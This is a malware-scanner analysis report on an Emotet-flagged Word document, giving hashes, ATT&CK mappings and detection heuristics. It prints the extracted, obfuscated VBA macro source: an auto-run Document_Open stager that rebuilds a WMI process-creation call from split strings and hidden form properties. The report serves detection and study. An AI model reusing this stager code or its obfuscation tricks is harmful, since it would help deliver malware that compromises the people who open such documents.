Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f02c595fc24ef64a…

MALICIOUS

Office (OLE)

172.9 KB Created: 2020-07-22 12:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b0085701640f2ec2b6c87788dab31606 SHA-1: 332624fe5bd88d88ea2ad5d8cdf53575bc4728d7 SHA-256: f02c595fc24ef64a62c2bbdcb917425dc39fad28b7bb9ebd3dadac195a98f273
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection explicitly names Emotet. The macro's logic involves obfuscated string manipulation and the use of CreateObject to likely download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9276095-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9276095-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11545 bytes
SHA-256: 291f5a73e0dcb09cbeabc46a85587b1bf375706837924079984710978209dab8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nezquab"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
wenteizsaun
End Sub


Attribute VB_Name = "maegyeubthaihpeay"
Attribute VB_Base = "0{0C0BD730-C30C-4208-BE67-1B82F1839C56}{D74DF236-2A08-4928-894D-0D8BC4816A2C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kievwioc"
Function wenteizsaun()
bisqueajtaif = Chr(maegyeubthaihpeay.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
ceakselcaz = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + bisqueajtaif + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + maegyeubthaihpeay.thoiryeoz + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
hiotneorrooryeath = taypoov(ceakselcaz)
Dim uVS8Üe As Long
Set zeejdeququounweav = CreateObject(hiotneorrooryeath)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
cianxoarmuah = maegyeubthaihpeay.leoququoedteim.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
xoecnoubsoumkoas = hiotneorrooryeath + bisqueajtaif + maegyeubthaihpeay.theabdoec.ControlTipText + cianxoarmuah
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
rauljeach = xoecnoubsoumkoas + maegyeubthaihpeay.thoiryeoz
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set dendiffeuth = bimqueptook(rauljeach)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", zeejdeququounweav. _
Create(peayciettoez, kioldeuhcouw, dendiffeuth), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function bimqueptook(zivdadneaskeuz)
Set bimqueptook = CreateObject(zivdadneaskeuz)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
bimqueptook _
. _
showwindow = (neesviathzeaytit + wuacjeoh) + (hoajjiawyeew + woijjicgieffeec)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function taypoov(pavceuqucaoqu)
yedpeugduvhoiw = pavceuqucaoqu
Dim k2ÁtJPgnG As Date
deuxrukthoiqudieh = Split(yedpeugduvhoiw, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
mairnuuthyiat = we + Join(deuxrukthoiqudieh, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
taypoov = mairnuuthyiat
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function peayciettoez()
aqw = maegyeubthaihpeay.kuandeachmop.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
peayciettoez = taypoov(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function


' Processing file: /opt/analyzer/scan_staging/ab78a232155949c2afd06d507653f613.bin
' ===============================================================================
' Module streams:
' Macros/VBA/nezquab - 1353 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub nezquab())
' Line #1:
' 	ArgsCall D
... (truncated)

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